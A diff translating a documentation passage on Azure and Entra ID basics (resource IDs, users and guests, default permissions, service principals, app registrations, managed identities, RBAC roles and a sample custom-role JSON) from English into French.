 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1</a></p></figcaption></figure>
 
-### Azure Resource IDs
+### Identifiants de ressources Azure
 
-Every resource in Azure has an Azure Resource ID that identifies it.
+Chaque ressource dans Azure a un identifiant de ressource Azure qui l'identifie.
 
-The format of an Azure Resource ID is as follows:
+Le format d'un identifiant de ressource Azure est le suivant :
 
 - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
 
-For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
+Pour une machine virtuelle nommée myVM dans un groupe de ressources `myResourceGroup` sous l'ID d'abonnement `12345678-1234-1234-1234-123456789012`, l'identifiant de ressource Azure ressemble à ceci :
 
 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
-## Azure vs Entra ID vs Azure AD Domain Services
+## Azure vs Entra ID vs Services de domaine Azure AD
 
 ### Azure
 
-Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
+Azure est la **plateforme de cloud computing complète de Microsoft, offrant une large gamme de services**, y compris des machines virtuelles, des bases de données, de l'intelligence artificielle et du stockage. Elle sert de fondation pour héberger et gérer des applications, construire des infrastructures évolutives et exécuter des charges de travail modernes dans le cloud. Azure fournit des outils pour les développeurs et les professionnels de l'informatique afin de créer, déployer et gérer des applications et des services de manière transparente, répondant à une variété de besoins allant des startups aux grandes entreprises.
 
-### Entra ID (formerly Azure Active Directory)
+### Entra ID (anciennement Azure Active Directory)
 
-Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
+Entra ID est un service de **gestion des identités et des accès basé sur le cloud** conçu pour gérer l'authentification, l'autorisation et le contrôle d'accès des utilisateurs. Il permet un accès sécurisé aux services Microsoft tels qu'Office 365, Azure et de nombreuses applications SaaS tierces. Avec des fonctionnalités telles que l'authentification unique (SSO), l'authentification multi-facteurs (MFA) et des politiques d'accès conditionnel, entre autres.
 
-### Entra Domain Services (formerly Azure AD DS)
+### Services de domaine Entra (anciennement Azure AD DS)
 
-Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
+Les services de domaine Entra étendent les capacités d'Entra ID en offrant des **services de domaine gérés compatibles avec les environnements traditionnels de Windows Active Directory**. Il prend en charge des protocoles hérités tels que LDAP, Kerberos et NTLM, permettant aux organisations de migrer ou d'exécuter des applications plus anciennes dans le cloud sans déployer de contrôleurs de domaine sur site. Ce service prend également en charge les stratégies de groupe pour une gestion centralisée, ce qui le rend adapté aux scénarios où des charges de travail héritées ou basées sur AD doivent coexister avec des environnements cloud modernes.
 
-## Entra ID Principals
+## Principaux Entra ID
 
-### Users
+### Utilisateurs
 
-- **New users**
-  - Indicate email name and domain from selected tenant
-  - Indicate Display name
-  - Indicate password
-  - Indicate properties (first name, job title, contact info…)
-    - Default user type is “**member**”
-- **External users**
-  - Indicate email to invite and display name (can be a non Microsft email)
-  - Indicate properties
-    - Default user type is “**Guest**”
+- **Nouveaux utilisateurs**
+- Indiquer le nom et le domaine de l'email du locataire sélectionné
+- Indiquer le nom d'affichage
+- Indiquer le mot de passe
+- Indiquer les propriétés (prénom, titre de poste, informations de contact…)
+- Le type d'utilisateur par défaut est “**membre**”
+- **Utilisateurs externes**
+- Indiquer l'email à inviter et le nom d'affichage (peut être un email non Microsoft)
+- Indiquer les propriétés
+- Le type d'utilisateur par défaut est “**Invité**”
 
-### Members & Guests Default Permissions
+### Permissions par défaut des membres et invités
 
-You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
+Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) mais parmi d'autres actions, un membre pourra :
 
-- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
-- Invite Guests (_can be turned off_)
-- Create Security groups
-- Read non-hidden Group memberships
-- Add guests to Owned groups
-- Create new application (_can be turned off_)
-- Add up to 50 devices to Azure (_can be turned off_)
+- Lire tous les utilisateurs, groupes, applications, appareils, rôles, abonnements et leurs propriétés publiques
+- Inviter des invités (_peut être désactivé_)
+- Créer des groupes de sécurité
+- Lire les adhésions de groupe non cachées
+- Ajouter des invités aux groupes possédés
+- Créer une nouvelle application (_peut être désactivé_)
+- Ajouter jusqu'à 50 appareils à Azure (_peut être désactivé_)
 
 > [!NOTE]
-> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
+> N'oubliez pas que pour énumérer les ressources Azure, l'utilisateur a besoin d'une attribution explicite de la permission.
 
-### Users Default Configurable Permissions
+### Permissions configurables par défaut des utilisateurs
 
-- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
-  - Register Applications: Default **Yes**
-  - Restrict non-admin users from creating tenants: Default **No**
-  - Create security groups: Default **Yes**
-  - Restrict access to Microsoft Entra administration portal: Default **No**
-    - This doesn’t restrict API access to the portal (only web)
-  - Allow users to connect work or school account with LinkedIn: Default **Yes**
-  - Show keep user signed in: Default **Yes**
-  - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
-  - Read other users: Default **Yes** (via Microsoft Graph)
-- **Guests**
-  - **Guest user access restrictions**
-    - **Guest users have the same access as members** grants all member user permissions to guest users by default.
-    - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
-    - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
-  - **Guests can invite**
-    - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
-    - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
-    - **Only users assigned to specific admin roles can invite guest users**
-    - **No one in the organization can invite guest users including admins (most restrictive)**
-  - **External user leave**: Default **True**
-    - Allow external users to leave the organization
+- **Membres (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
+- Enregistrer des applications : Par défaut **Oui**
+- Restreindre les utilisateurs non administrateurs de créer des locataires : Par défaut **Non**
+- Créer des groupes de sécurité : Par défaut **Oui**
+- Restreindre l'accès au portail d'administration Microsoft Entra : Par défaut **Non**
+- Cela ne restreint pas l'accès API au portail (uniquement web)
+- Autoriser les utilisateurs à connecter un compte de travail ou scolaire avec LinkedIn : Par défaut **Oui**
+- Afficher garder l'utilisateur connecté : Par défaut **Oui**
+- Restreindre les utilisateurs de récupérer la ou les clés BitLocker pour leurs appareils possédés : Par défaut Non (vérifiez dans les paramètres de l'appareil)
+- Lire d'autres utilisateurs : Par défaut **Oui** (via Microsoft Graph)
+- **Invités**
+- **Restrictions d'accès des utilisateurs invités**
+- **Les utilisateurs invités ont le même accès que les membres** accorde par défaut toutes les permissions des utilisateurs membres aux utilisateurs invités.
+- **Les utilisateurs invités ont un accès limité aux propriétés et adhésions des objets d'annuaire (par défaut)** restreint l'accès des invités uniquement à leur propre profil utilisateur par défaut. L'accès aux informations d'autres utilisateurs et groupes n'est plus autorisé.
+- **L'accès des utilisateurs invités est restreint aux propriétés et adhésions de leurs propres objets d'annuaire** est la plus restrictive.
+- **Les invités peuvent inviter**
+- **Quiconque dans l'organisation peut inviter des utilisateurs invités, y compris des invités et des non-administrateurs (le plus inclusif) - Par défaut**
+- **Les utilisateurs membres et les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités, y compris des invités avec des permissions de membre**
+- **Seuls les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités**
+- **Personne dans l'organisation ne peut inviter des utilisateurs invités, y compris des administrateurs (le plus restrictif)**
+- **Les utilisateurs externes peuvent partir** : Par défaut **Vrai**
+- Autoriser les utilisateurs externes à quitter l'organisation
 
 > [!TIP]
-> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
+> Même s'ils sont restreints par défaut, les utilisateurs (membres et invités) avec des permissions accordées pourraient effectuer les actions précédentes.
 
-### **Groups**
+### **Groupes**
 
-There are **2 types of groups**:
+Il existe **2 types de groupes** :
 
-- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
-- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
-  - This will have an **email address** with the domain of the EntraID tenant.
+- **Sécurité** : Ce type de groupe est utilisé pour donner aux membres accès aux applications, ressources et attribuer des licences. Les utilisateurs, appareils, principaux de service et autres groupes peuvent être membres.
+- **Microsoft 365** : Ce type de groupe est utilisé pour la collaboration, donnant aux membres accès à une boîte aux lettres partagée, un calendrier, des fichiers, un site SharePoint, etc. Les membres du groupe ne peuvent être que des utilisateurs.
+- Cela aura une **adresse email** avec le domaine du locataire EntraID.
 
-There are **2 types of memberships**:
+Il existe **2 types d'adhésions** :
 
-- **Assigned**: Allow to manually add specific members to a group.
-- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
+- **Assigné** : Permet d'ajouter manuellement des membres spécifiques à un groupe.
+- **Adhésion dynamique** : Gère automatiquement l'adhésion en utilisant des règles, mettant à jour l'inclusion du groupe lorsque les attributs des membres changent.
 
-### **Service Principals**
+### **Principaux de service**
 
-A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
+Un **Principal de service** est une **identité** créée pour **utiliser** avec des **applications**, des services hébergés et des outils automatisés pour accéder aux ressources Azure. Cet accès est **restreint par les rôles assignés** au principal de service, vous donnant le contrôle sur **quelles ressources peuvent être accessibles** et à quel niveau. Pour des raisons de sécurité, il est toujours recommandé d'**utiliser des principaux de service avec des outils automatisés** plutôt que de leur permettre de se connecter avec une identité utilisateur.
 
-It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
+Il est possible de **se connecter directement en tant que principal de service** en lui générant un **secret** (mot de passe), un **certificat**, ou en accordant un accès **fédéré** à des plateformes tierces (par exemple, Github Actions) à son sujet.
 
-- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
-- If you choose certificate authentication, make sure the **application will have access over the private key**.
+- Si vous choisissez l'authentification par **mot de passe** (par défaut), **enregistrez le mot de passe généré** car vous ne pourrez plus y accéder.
+- Si vous choisissez l'authentification par certificat, assurez-vous que l'**application aura accès à la clé privée**.
 
-### App Registrations
+### Enregistrements d'applications
 
-An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
+Un **Enregistrement d'application** est une configuration qui permet à une application de s'intégrer avec Entra ID et d'effectuer des actions.
 
-#### Key Components:
+#### Composants clés :
 
-1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
-2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
-3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions).&#x20;
-   1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
-4. **API Permissions:** Specifies what resources or APIs the app can access.
-5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
-6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
-   1. The **service principal** will get all the requested permissions it was configured with.
+1. **ID d'application (Client ID)** : Un identifiant unique pour votre application dans Azure AD.
+2. **URI de redirection** : URLs où Azure AD envoie les réponses d'authentification.
+3. **Certificats, Secrets & Identifiants fédérés** : Il est possible de générer un secret ou un certificat pour se connecter en tant que principal de service de l'application, ou d'accorder un accès fédéré à celle-ci (par exemple, Github Actions).&#x20;
+1. Si un **certificat** ou un **secret** est généré, il est possible pour une personne de **se connecter en tant que principal de service** avec des outils CLI en connaissant l'**ID d'application**, le **secret** ou le **certificat** et le **locataire** (domaine ou ID).
+4. **Permissions API** : Spécifie quelles ressources ou API l'application peut accéder.
+5. **Paramètres d'authentification** : Définit les flux d'authentification pris en charge par l'application (par exemple, OAuth2, OpenID Connect).
+6. **Principal de service** : Un principal de service est créé lorsqu'une application est créée (si cela est fait depuis la console web) ou lorsqu'elle est installée dans un nouveau locataire.
+1. Le **principal de service** obtiendra toutes les permissions demandées avec lesquelles il a été configuré.
 
-### Default Consent Permissions
+### Permissions de consentement par défaut
 
-**User consent for applications**
+**Consentement des utilisateurs pour les applications**
 
-- **Do not allow user consent**
-  - An administrator will be required for all apps.
-- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
-  - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
-  - **Default** low impact permissions (although you need to accept to add them as low):
-    - User.Read - sign in and read user profile
-    - offline_access - maintain access to data that users have given it access to
-    - openid - sign users in
-    - profile - view user's basic profile
-    - email - view user's email address
-- **Allow user consent for apps (Default)**
-  - All users can consent for any app to access the organization's data.
+- **Ne pas autoriser le consentement des utilisateurs**
+- Un administrateur sera requis pour toutes les applications.
+- **Autoriser le consentement des utilisateurs pour les applications de publishers vérifiés, pour des permissions sélectionnées (Recommandé)**
+- Tous les utilisateurs peuvent consentir pour des permissions classées comme "faible impact", pour des applications de publishers vérifiés ou des applications enregistrées dans cette organisation.
+- **Permissions par défaut à faible impact** (bien que vous deviez accepter de les ajouter comme faibles) :
+- User.Read - se connecter et lire le profil utilisateur
+- offline_access - maintenir l'accès aux données auxquelles les utilisateurs ont donné accès
+- openid - connecter les utilisateurs
+- profile - voir le profil de base de l'utilisateur
+- email - voir l'adresse email de l'utilisateur
+- **Autoriser le consentement des utilisateurs pour les applications (Par défaut)**
+- Tous les utilisateurs peuvent consentir pour toute application d'accéder aux données de l'organisation.
 
-**Admin consent requests**: Default **No**
+**Demandes de consentement administratives** : Par défaut **Non**
 
-- Users can request admin consent to apps they are unable to consent to
-- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
-  - Configure also if users will receive email notifications and expiration reminders&#x20;
+- Les utilisateurs peuvent demander le consentement administratif pour des applications auxquelles ils ne peuvent pas consentir
+- Si **Oui** : Il est possible d'indiquer les utilisateurs, groupes et rôles qui peuvent consentir aux demandes
+- Configurez également si les utilisateurs recevront des notifications par email et des rappels d'expiration&#x20;
 
-### **Managed Identity (Metadata)**
+### **Identité gérée (Métadonnées)**
 
-Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
+Les identités gérées dans Azure Active Directory offrent une solution pour **gérer automatiquement l'identité** des applications. Ces identités sont utilisées par les applications dans le but de **se connecter** aux **ressources** compatibles avec l'authentification Azure Active Directory (**Azure AD**). Cela permet de **supprimer le besoin de coder en dur les identifiants cloud** dans le code, car l'application pourra contacter le **service de métadonnées** pour obtenir un jeton valide afin de **réaliser des actions** en tant qu'identité gérée indiquée dans Azure.
 
-There are two types of managed identities:
+Il existe deux types d'identités gérées :
 
-- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
-- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
+- **Assigné au système**. Certains services Azure vous permettent d'**activer une identité gérée directement sur une instance de service**. Lorsque vous activez une identité gérée assignée au système, un **principal de service** est créé dans le locataire Entra ID de confiance par l'abonnement où la ressource est située. Lorsque la **ressource** est **supprimée**, Azure supprime automatiquement **l'identité** pour vous.
+- **Assigné par l'utilisateur**. Il est également possible pour les utilisateurs de générer des identités gérées. Celles-ci sont créées à l'intérieur d'un groupe de ressources dans un abonnement et un principal de service sera créé dans l'EntraID de confiance par l'abonnement. Ensuite, vous pouvez assigner l'identité gérée à une ou **plusieurs instances** d'un service Azure (plusieurs ressources). Pour les identités gérées assignées par l'utilisateur, **l'identité est gérée séparément des ressources qui l'utilisent**.
 
-Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
+Les identités gérées **ne génèrent pas de credentials éternels** (comme des mots de passe ou des certificats) pour accéder en tant que principal de service qui y est attaché.
 
-### Enterprise Applications
+### Applications d'entreprise
 
-It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
+C'est juste une **table dans Azure pour filtrer les principaux de service** et vérifier les applications qui leur ont été assignées.
 
-**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
+**Ce n'est pas un autre type d'“application”**, il n'y a aucun objet dans Azure qui soit une “Application d'entreprise”, c'est juste une abstraction pour vérifier les Principaux de service, les Enregistrements d'applications et les identités gérées.
 
-### Administrative Units
+### Unités administratives
 
-Administrative units allows to **give permissions from a role over a specific portion of an organization**.
+Les unités administratives permettent de **donner des permissions d'un rôle sur une portion spécifique d'une organisation**.
 
-Example:
+Exemple :
 
-- Scenario: A company wants regional IT admins to manage only the users in their own region.
-- Implementation:
-  - Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
-    - Populate AUs with users from their respective regions.
-      - AUs can **contain users, groups, or devices**
-      - AUs support **dynamic memberships**
-      - AUs **cannot contain AUs**
-    - Assign Admin Roles:
-      - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
-- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
+- Scénario : Une entreprise souhaite que les administrateurs informatiques régionaux gèrent uniquement les utilisateurs de leur propre région.
+- Mise en œuvre :
+- Créer des unités administratives pour chaque région (par exemple, "AU Amérique du Nord", "AU Europe").
+- Peupler les AU avec des utilisateurs de leurs régions respectives.
+- Les AU peuvent **contenir des utilisateurs, groupes ou appareils**
+- Les AU prennent en charge **les adhésions dynamiques**
+- Les AU **ne peuvent pas contenir d'AU**
+- Attribuer des rôles administratifs :
+- Accorder le rôle "Administrateur des utilisateurs" au personnel informatique régional, limité à l'AU de leur région.
+- Résultat : Les administrateurs informatiques régionaux peuvent gérer les comptes utilisateurs au sein de leur région sans affecter d'autres régions.
 
-### Entra ID Roles
+### Rôles Entra ID
 
-- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
-  - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
-- The most privileged role is **Global Administrator**
-- In the Description of the role it’s possible to see its **granular permissions**
+- Afin de gérer Entra ID, il existe certains **rôles intégrés** qui peuvent être assignés aux principaux Entra ID pour gérer Entra ID
+- Vérifiez les rôles sur [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
+- Le rôle le plus privilégié est **Administrateur global**
+- Dans la description du rôle, il est possible de voir ses **permissions granulaires**
 
-## Roles & Permissions
+## Rôles & Permissions
 
-**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
+**Les rôles** sont **assignés** aux **principaux** sur un **scope** : `principal -[HAS ROLE]->(scope)`
 
-**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
+**Les rôles** assignés aux **groupes** sont **hérités** par tous les **membres** du groupe.
 
-Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
+Selon le scope auquel le rôle a été assigné, le **rôle** peut être **hérité** par **d'autres ressources** à l'intérieur du conteneur de scope. Par exemple, si un utilisateur A a un **rôle sur l'abonnement**, il aura ce **rôle sur tous les groupes de ressources** à l'intérieur de l'abonnement et sur **toutes les ressources** à l'intérieur du groupe de ressources.
 
-### **Classic Roles**
+### **Rôles classiques**
 
-| **Owner**                     | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
+| **Propriétaire**                     | <ul><li>Accès complet à toutes les ressources</li><li>Peut gérer l'accès pour d'autres utilisateurs</li></ul> | Tous les types de ressources |
 | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
-| **Contributor**               | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul>              | All resource types |
-| **Reader**                    | • View all resources                                                                     | All resource types |
-| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul>           | All resource types |
+| **Contributeur**               | <ul><li>Accès complet à toutes les ressources</li><li>Ne peut pas gérer l'accès</li></ul>              | Tous les types de ressources |
+| **Lecteur**                    | • Voir toutes les ressources                                                                     | Tous les types de ressources |
+| **Administrateur d'accès utilisateur** | <ul><li>Voir toutes les ressources</li><li>Peut gérer l'accès pour d'autres utilisateurs</li></ul>           | Tous les types de ressources |
 
-### Built-In roles
+### Rôles intégrés
 
-[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
+[Des docs : ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Le contrôle d'accès basé sur les rôles Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) a plusieurs **rôles intégrés Azure** que vous pouvez **assigner** à **des utilisateurs, groupes, principaux de service et identités gérées**. Les attributions de rôle sont la manière dont vous contrôlez **l'accès aux ressources Azure**. Si les rôles intégrés ne répondent pas aux besoins spécifiques de votre organisation, vous pouvez créer vos propres [**rôles personnalisés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
 
-**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
+Les **rôles intégrés** s'appliquent uniquement aux **ressources** pour lesquelles ils sont **destinés**, par exemple, vérifiez ces 2 exemples de **rôles intégrés sur les ressources Compute** :
 
-| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Provides permission to backup vault to perform disk backup.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
+| [Lecteur de sauvegarde de disque](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Fournit la permission au coffre de sauvegarde pour effectuer une sauvegarde de disque.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
-| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
+| [Connexion utilisateur de machine virtuelle](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Voir les machines virtuelles dans le portail et se connecter en tant qu'utilisateur régulier. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
 
-This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
+Ces rôles peuvent **également être assignés sur des conteneurs logiques** (tels que des groupes de gestion, des abonnements et des groupes de ressources) et les principaux affectés les auront **sur les ressources à l'intérieur de ces conteneurs**.
 
-- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
-- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
+- Trouvez ici une liste avec [**tous les rôles intégrés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
+- Trouvez ici une liste avec [**tous les rôles intégrés Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
 
-### Custom Roles
+### Rôles personnalisés
 
-- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
-- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
-- It’s possible to configure all the granular permissions the custom role will have
-- It’s possible to exclude permissions
-  - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
-- It’s possible to use wildcards
-- The used format is a JSON
-  - `actions` are for control actions over the resource
-  - `dataActions` are permissions over the data within the object
-
-Example of permissions JSON for a custom role:
+- Il est également possible de créer [**rôles personnalisés**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
+- Ils sont créés à l'intérieur d'un scope, bien qu'un rôle puisse être dans plusieurs scopes (groupes de gestion, abonnements et groupes de ressources)
+- Il est possible de configurer toutes les permissions granulaires que le rôle personnalisé aura
+- Il est possible d'exclure des permissions
+- Un principal avec une permission exclue ne pourra pas l'utiliser même si la permission est accordée ailleurs
+- Il est possible d'utiliser des jokers
+- Le format utilisé est un JSON
+- `actions` sont pour contrôler les actions sur la ressource
+- `dataActions` sont des permissions sur les données à l'intérieur de l'objet
 
+Exemple de JSON de permissions pour un rôle personnalisé :
 ```json
 {
-  "properties": {
-    "roleName": "",
-    "description": "",
-    "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
-    "permissions": [
-      {
-        "actions": [
-          "Microsoft.DigitalTwins/register/action",
-          "Microsoft.DigitalTwins/unregister/action",
-          "Microsoft.DigitalTwins/operations/read",
-          "Microsoft.DigitalTwins/digitalTwinsInstances/read",
-          "Microsoft.DigitalTwins/digitalTwinsInstances/write",
-          "Microsoft.CostManagement/exports/*"
-        ],
-        "notActions": [
-          "Astronomer.Astro/register/action",
-          "Astronomer.Astro/unregister/action",
-          "Astronomer.Astro/operations/read",
-          "Astronomer.Astro/organizations/read"
-        ],
-        "dataActions": [],
-        "notDataActions": []
-      }
-    ]
-  }
+"properties": {
+"roleName": "",
+"description": "",
+"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
+"permissions": [
+{
+"actions": [
+"Microsoft.DigitalTwins/register/action",
+"Microsoft.DigitalTwins/unregister/action",
+"Microsoft.DigitalTwins/operations/read",
+"Microsoft.DigitalTwins/digitalTwinsInstances/read",
+"Microsoft.DigitalTwins/digitalTwinsInstances/write",
+"Microsoft.CostManagement/exports/*"
+],
+"notActions": [
+"Astronomer.Astro/register/action",
+"Astronomer.Astro/unregister/action",
+"Astronomer.Astro/operations/read",
+"Astronomer.Astro/organizations/read"
+],
+"dataActions": [],
+"notDataActions": []
+}
+]
+}
 }
 ```
-
 ### Permissions order
 
-- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
-- An explicit **deny role assignment takes precedence** over the role granting the permission.
+- Afin qu'un **principal ait un accès sur une ressource**, il a besoin d'un rôle explicite qui lui est accordé (de quelque manière que ce soit) **lui accordant cette permission**.
+- Une **attribution de rôle de refus explicite a la priorité** sur le rôle accordant la permission.
 
 <figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
 
 ### Global Administrator
 
-Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
+Le Global Administrator est un rôle d'Entra ID qui accorde **un contrôle total sur le locataire Entra ID**. Cependant, il n'accorde par défaut aucune permission sur les ressources Azure.
 
-Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
